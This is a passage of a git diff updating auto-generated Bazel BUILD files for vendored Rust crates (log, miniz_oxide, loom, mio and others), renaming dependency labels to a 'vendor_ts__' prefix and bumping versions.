@@ -86,6 +86,6 @@ rust_library(
     }),
     version = "0.14.0",
     deps = [
-        "@vendor__either-1.13.0//:either",
+        "@vendor_ts__either-1.15.0//:either",
     ],
 )
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.js-sys-0.3.76.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.js-sys-0.3.76.bazel
index 07a7873c5c15..c4c245329262 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.js-sys-0.3.76.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.js-sys-0.3.76.bazel
@@ -85,7 +85,7 @@ rust_library(
     }),
     version = "0.3.76",
     deps = [
-        "@vendor__once_cell-1.20.2//:once_cell",
-        "@vendor__wasm-bindgen-0.2.99//:wasm_bindgen",
+        "@vendor_ts__once_cell-1.20.3//:once_cell",
+        "@vendor_ts__wasm-bindgen-0.2.99//:wasm_bindgen",
     ],
 )
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.kqueue-1.0.8.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.kqueue-1.0.8.bazel
index 90ebace5cef3..25390d540e0e 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.kqueue-1.0.8.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.kqueue-1.0.8.bazel
@@ -81,7 +81,7 @@ rust_library(
     }),
     version = "1.0.8",
     deps = [
-        "@vendor__kqueue-sys-1.0.4//:kqueue_sys",
-        "@vendor__libc-0.2.169//:libc",
+        "@vendor_ts__kqueue-sys-1.0.4//:kqueue_sys",
+        "@vendor_ts__libc-0.2.169//:libc",
     ],
 )
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.kqueue-sys-1.0.4.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.kqueue-sys-1.0.4.bazel
index 16504b28cb82..e226e4b77c7f 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.kqueue-sys-1.0.4.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.kqueue-sys-1.0.4.bazel
@@ -81,7 +81,7 @@ rust_library(
     }),
     version = "1.0.4",
     deps = [
-        "@vendor__bitflags-1.3.2//:bitflags",
-        "@vendor__libc-0.2.169//:libc",
+        "@vendor_ts__bitflags-1.3.2//:bitflags",
+        "@vendor_ts__libc-0.2.169//:libc",
     ],
 )
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.libc-0.2.169.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.libc-0.2.169.bazel
index 4c96b7c5dc95..d3cef09f0cd8 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.libc-0.2.169.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.libc-0.2.169.bazel
@@ -86,7 +86,7 @@ rust_library(
     }),
     version = "0.2.169",
     deps = [
-        "@vendor__libc-0.2.169//:build_script_build",
+        "@vendor_ts__libc-0.2.169//:build_script_build",
     ],
 )
 
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.libredox-0.1.3.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.libredox-0.1.3.bazel
index f13d15a95e10..4bbbe82982c5 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.libredox-0.1.3.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.libredox-0.1.3.bazel
@@ -81,8 +81,8 @@ rust_library(
     }),
     version = "0.1.3",
     deps = [
-        "@vendor__bitflags-2.7.0//:bitflags",
-        "@vendor__libc-0.2.169//:libc",
-        "@vendor__redox_syscall-0.5.8//:syscall",
+        "@vendor_ts__bitflags-2.8.0//:bitflags",
+        "@vendor_ts__libc-0.2.169//:libc",
+        "@vendor_ts__redox_syscall-0.5.8//:syscall",
     ],
 )
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.line-index-0.1.2.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.line-index-0.1.2.bazel
index 2e36a7d3ab24..0606a147a5cb 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.line-index-0.1.2.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.line-index-0.1.2.bazel
@@ -81,7 +81,7 @@ rust_library(
     }),
     version = "0.1.2",
     deps = [
-        "@vendor__nohash-hasher-0.2.0//:nohash_hasher",
-        "@vendor__text-size-1.1.1//:text_size",
+        "@vendor_ts__nohash-hasher-0.2.0//:nohash_hasher",
+        "@vendor_ts__text-size-1.1.1//:text_size",
     ],
 )
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.lock_api-0.4.12.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.lock_api-0.4.12.bazel
index 7998bc5361fa..3044c1276928 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.lock_api-0.4.12.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.lock_api-0.4.12.bazel
@@ -86,8 +86,8 @@ rust_library(
     }),
     version = "0.4.12",
     deps = [
-        "@vendor__lock_api-0.4.12//:build_script_build",
-        "@vendor__scopeguard-1.2.0//:scopeguard",
+        "@vendor_ts__lock_api-0.4.12//:build_script_build",
+        "@vendor_ts__scopeguard-1.2.0//:scopeguard",
     ],
 )
 
@@ -143,7 +143,7 @@ cargo_build_script(
     version = "0.4.12",
     visibility = ["//visibility:private"],
     deps = [
-        "@vendor__autocfg-1.4.0//:autocfg",
+        "@vendor_ts__autocfg-1.4.0//:autocfg",
     ],
 )
 
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.log-0.3.9.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.log-0.3.9.bazel
index 5c06b96e63fe..c17f4cad96b1 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.log-0.3.9.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.log-0.3.9.bazel
@@ -85,6 +85,6 @@ rust_library(
     }),
     version = "0.3.9",
     deps = [
-        "@vendor__log-0.4.22//:log",
+        "@vendor_ts__log-0.4.25//:log",
     ],
 )
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.log-0.4.22.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.log-0.4.22.bazel
deleted file mode 100644
index 74a985fb2ee4..000000000000
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.log-0.4.22.bazel
+++ /dev/null
@@ -1,86 +0,0 @@
-###############################################################################
-# @generated
-# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
-# regenerate this file, run the following:
-#
-#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
-###############################################################################
-
-load("@rules_rust//rust:defs.bzl", "rust_library")
-
-package(default_visibility = ["//visibility:public"])
-
-rust_library(
-    name = "log",
-    srcs = glob(
-        include = ["**/*.rs"],
-        allow_empty = True,
-    ),
-    compile_data = glob(
-        include = ["**"],
-        allow_empty = True,
-        exclude = [
-            "**/* *",
-            ".tmp_git_root/**/*",
-            "BUILD",
-            "BUILD.bazel",
-            "WORKSPACE",
-            "WORKSPACE.bazel",
-        ],
-    ),
-    crate_features = [
-        "std",
-    ],
-    crate_root = "src/lib.rs",
-    edition = "2021",
-    rustc_flags = [
-        "--cap-lints=allow",
-    ],
-    tags = [
-        "cargo-bazel",
-        "crate-name=log",
-        "manual",
-        "noclippy",
-        "norustfmt",
-    ],
-    target_compatible_with = select({
-        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
-        "@rules_rust//rust/platform:aarch64-linux-android": [],
-        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
-        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
-        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
-        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:i686-apple-darwin": [],
-        "@rules_rust//rust/platform:i686-linux-android": [],
-        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
-        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
-        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
-        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
-        "@rules_rust//rust/platform:wasm32-wasip1": [],
-        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
-        "@rules_rust//rust/platform:x86_64-apple-ios": [],
-        "@rules_rust//rust/platform:x86_64-linux-android": [],
-        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
-        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-none": [],
-        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
-        "//conditions:default": ["@platforms//:incompatible"],
-    }),
-    version = "0.4.22",
-)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.log-0.4.25.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.log-0.4.25.bazel
new file mode 100644
index 000000000000..a2e0e15b13ef
--- /dev/null
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.log-0.4.25.bazel
@@ -0,0 +1,86 @@
+###############################################################################
+# @generated
+# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
+# regenerate this file, run the following:
+#
+#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
+###############################################################################
+
+load("@rules_rust//rust:defs.bzl", "rust_library")
+
+package(default_visibility = ["//visibility:public"])
+
+rust_library(
+    name = "log",
+    srcs = glob(
+        include = ["**/*.rs"],
+        allow_empty = True,
+    ),
+    compile_data = glob(
+        include = ["**"],
+        allow_empty = True,
+        exclude = [
+            "**/* *",
+            ".tmp_git_root/**/*",
+            "BUILD",
+            "BUILD.bazel",
+            "WORKSPACE",
+            "WORKSPACE.bazel",
+        ],
+    ),
+    crate_features = [
+        "std",
+    ],
+    crate_root = "src/lib.rs",
+    edition = "2021",
+    rustc_flags = [
+        "--cap-lints=allow",
+    ],
+    tags = [
+        "cargo-bazel",
+        "crate-name=log",
+        "manual",
+        "noclippy",
+        "norustfmt",
+    ],
+    target_compatible_with = select({
+        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
+        "@rules_rust//rust/platform:aarch64-linux-android": [],
+        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
+        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
+        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
+        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:i686-apple-darwin": [],
+        "@rules_rust//rust/platform:i686-linux-android": [],
+        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
+        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
+        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
+        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
+        "@rules_rust//rust/platform:wasm32-wasip1": [],
+        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
+        "@rules_rust//rust/platform:x86_64-apple-ios": [],
+        "@rules_rust//rust/platform:x86_64-linux-android": [],
+        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
+        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-none": [],
+        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
+        "//conditions:default": ["@platforms//:incompatible"],
+    }),
+    version = "0.4.25",
+)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.loom-0.7.2.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.loom-0.7.2.bazel
new file mode 100644
index 000000000000..01796e7b3a5d
--- /dev/null
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.loom-0.7.2.bazel
@@ -0,0 +1,90 @@
+###############################################################################
+# @generated
+# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
+# regenerate this file, run the following:
+#
+#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
+###############################################################################
+
+load("@rules_rust//rust:defs.bzl", "rust_library")
+
+package(default_visibility = ["//visibility:public"])
+
+rust_library(
+    name = "loom",
+    srcs = glob(
+        include = ["**/*.rs"],
+        allow_empty = True,
+    ),
+    compile_data = glob(
+        include = ["**"],
+        allow_empty = True,
+        exclude = [
+            "**/* *",
+            ".tmp_git_root/**/*",
+            "BUILD",
+            "BUILD.bazel",
+            "WORKSPACE",
+            "WORKSPACE.bazel",
+        ],
+    ),
+    crate_root = "src/lib.rs",
+    edition = "2018",
+    rustc_flags = [
+        "--cap-lints=allow",
+    ],
+    tags = [
+        "cargo-bazel",
+        "crate-name=loom",
+        "manual",
+        "noclippy",
+        "norustfmt",
+    ],
+    target_compatible_with = select({
+        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
+        "@rules_rust//rust/platform:aarch64-linux-android": [],
+        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
+        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
+        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
+        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:i686-apple-darwin": [],
+        "@rules_rust//rust/platform:i686-linux-android": [],
+        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
+        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
+        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
+        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
+        "@rules_rust//rust/platform:wasm32-wasip1": [],
+        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
+        "@rules_rust//rust/platform:x86_64-apple-ios": [],
+        "@rules_rust//rust/platform:x86_64-linux-android": [],
+        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
+        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-none": [],
+        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
+        "//conditions:default": ["@platforms//:incompatible"],
+    }),
+    version = "0.7.2",
+    deps = [
+        "@vendor_ts__cfg-if-1.0.0//:cfg_if",
+        "@vendor_ts__generator-0.8.4//:generator",
+        "@vendor_ts__scoped-tls-1.0.1//:scoped_tls",
+        "@vendor_ts__tracing-0.1.41//:tracing",
+        "@vendor_ts__tracing-subscriber-0.3.19//:tracing_subscriber",
+    ],
+)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.matchers-0.1.0.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.matchers-0.1.0.bazel
index 792b5181e1dd..90227adce7e5 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.matchers-0.1.0.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.matchers-0.1.0.bazel
@@ -81,6 +81,6 @@ rust_library(
     }),
     version = "0.1.0",
     deps = [
-        "@vendor__regex-automata-0.1.10//:regex_automata",
+        "@vendor_ts__regex-automata-0.1.10//:regex_automata",
     ],
 )
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.memoffset-0.9.1.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.memoffset-0.9.1.bazel
index 7342bcdd53fd..19d3d136021e 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.memoffset-0.9.1.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.memoffset-0.9.1.bazel
@@ -85,7 +85,7 @@ rust_library(
     }),
     version = "0.9.1",
     deps = [
-        "@vendor__memoffset-0.9.1//:build_script_build",
+        "@vendor_ts__memoffset-0.9.1//:build_script_build",
     ],
 )
 
@@ -140,7 +140,7 @@ cargo_build_script(
     version = "0.9.1",
     visibility = ["//visibility:private"],
     deps = [
-        "@vendor__autocfg-1.4.0//:autocfg",
+        "@vendor_ts__autocfg-1.4.0//:autocfg",
     ],
 )
 
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.miniz_oxide-0.8.2.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.miniz_oxide-0.8.2.bazel
deleted file mode 100644
index 2c0bb16b669f..000000000000
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.miniz_oxide-0.8.2.bazel
+++ /dev/null
@@ -1,89 +0,0 @@
-###############################################################################
-# @generated
-# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
-# regenerate this file, run the following:
-#
-#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
-###############################################################################
-
-load("@rules_rust//rust:defs.bzl", "rust_library")
-
-package(default_visibility = ["//visibility:public"])
-
-rust_library(
-    name = "miniz_oxide",
-    srcs = glob(
-        include = ["**/*.rs"],
-        allow_empty = True,
-    ),
-    compile_data = glob(
-        include = ["**"],
-        allow_empty = True,
-        exclude = [
-            "**/* *",
-            ".tmp_git_root/**/*",
-            "BUILD",
-            "BUILD.bazel",
-            "WORKSPACE",
-            "WORKSPACE.bazel",
-        ],
-    ),
-    crate_features = [
-        "with-alloc",
-    ],
-    crate_root = "src/lib.rs",
-    edition = "2021",
-    rustc_flags = [
-        "--cap-lints=allow",
-    ],
-    tags = [
-        "cargo-bazel",
-        "crate-name=miniz_oxide",
-        "manual",
-        "noclippy",
-        "norustfmt",
-    ],
-    target_compatible_with = select({
-        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
-        "@rules_rust//rust/platform:aarch64-linux-android": [],
-        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
-        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
-        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
-        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:i686-apple-darwin": [],
-        "@rules_rust//rust/platform:i686-linux-android": [],
-        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
-        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
-        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
-        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
-        "@rules_rust//rust/platform:wasm32-wasip1": [],
-        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
-        "@rules_rust//rust/platform:x86_64-apple-ios": [],
-        "@rules_rust//rust/platform:x86_64-linux-android": [],
-        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
-        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-none": [],
-        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
-        "//conditions:default": ["@platforms//:incompatible"],
-    }),
-    version = "0.8.2",
-    deps = [
-        "@vendor__adler2-2.0.0//:adler2",
-    ],
-)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.miniz_oxide-0.8.5.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.miniz_oxide-0.8.5.bazel
new file mode 100644
index 000000000000..2d7b2e2a69fc
--- /dev/null
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.miniz_oxide-0.8.5.bazel
@@ -0,0 +1,89 @@
+###############################################################################
+# @generated
+# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
+# regenerate this file, run the following:
+#
+#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
+###############################################################################
+
+load("@rules_rust//rust:defs.bzl", "rust_library")
+
+package(default_visibility = ["//visibility:public"])
+
+rust_library(
+    name = "miniz_oxide",
+    srcs = glob(
+        include = ["**/*.rs"],
+        allow_empty = True,
+    ),
+    compile_data = glob(
+        include = ["**"],
+        allow_empty = True,
+        exclude = [
+            "**/* *",
+            ".tmp_git_root/**/*",
+            "BUILD",
+            "BUILD.bazel",
+            "WORKSPACE",
+            "WORKSPACE.bazel",
+        ],
+    ),
+    crate_features = [
+        "with-alloc",
+    ],
+    crate_root = "src/lib.rs",
+    edition = "2021",
+    rustc_flags = [
+        "--cap-lints=allow",
+    ],
+    tags = [
+        "cargo-bazel",
+        "crate-name=miniz_oxide",
+        "manual",
+        "noclippy",
+        "norustfmt",
+    ],
+    target_compatible_with = select({
+        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
+        "@rules_rust//rust/platform:aarch64-linux-android": [],
+        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
+        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
+        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
+        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:i686-apple-darwin": [],
+        "@rules_rust//rust/platform:i686-linux-android": [],
+        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
+        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
+        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
+        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
+        "@rules_rust//rust/platform:wasm32-wasip1": [],
+        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
+        "@rules_rust//rust/platform:x86_64-apple-ios": [],
+        "@rules_rust//rust/platform:x86_64-linux-android": [],
+        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
+        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-none": [],
+        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
+        "//conditions:default": ["@platforms//:incompatible"],
+    }),
+    version = "0.8.5",
+    deps = [
+        "@vendor_ts__adler2-2.0.0//:adler2",
+    ],
+)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.mio-0.8.11.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.mio-0.8.11.bazel
deleted file mode 100644
index 8f8955e3a753..000000000000
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.mio-0.8.11.bazel
+++ /dev/null
@@ -1,179 +0,0 @@
-###############################################################################
-# @generated
-# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
-# regenerate this file, run the following:
-#
-#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
-###############################################################################
-
-load("@rules_rust//rust:defs.bzl", "rust_library")
-
-package(default_visibility = ["//visibility:public"])
-
-rust_library(
-    name = "mio",
-    srcs = glob(
-        include = ["**/*.rs"],
-        allow_empty = True,
-    ),
-    compile_data = glob(
-        include = ["**"],
-        allow_empty = True,
-        exclude = [
-            "**/* *",
-            ".tmp_git_root/**/*",
-            "BUILD",
-            "BUILD.bazel",
-            "WORKSPACE",
-            "WORKSPACE.bazel",
-        ],
-    ),
-    crate_features = [
-        "default",
-        "log",
-        "os-ext",
-        "os-poll",
-    ],
-    crate_root = "src/lib.rs",
-    edition = "2018",
-    rustc_flags = [
-        "--cap-lints=allow",
-    ],
-    tags = [
-        "cargo-bazel",
-        "crate-name=mio",
-        "manual",
-        "noclippy",
-        "norustfmt",
-    ],
-    target_compatible_with = select({
-        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
-        "@rules_rust//rust/platform:aarch64-linux-android": [],
-        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
-        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
-        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
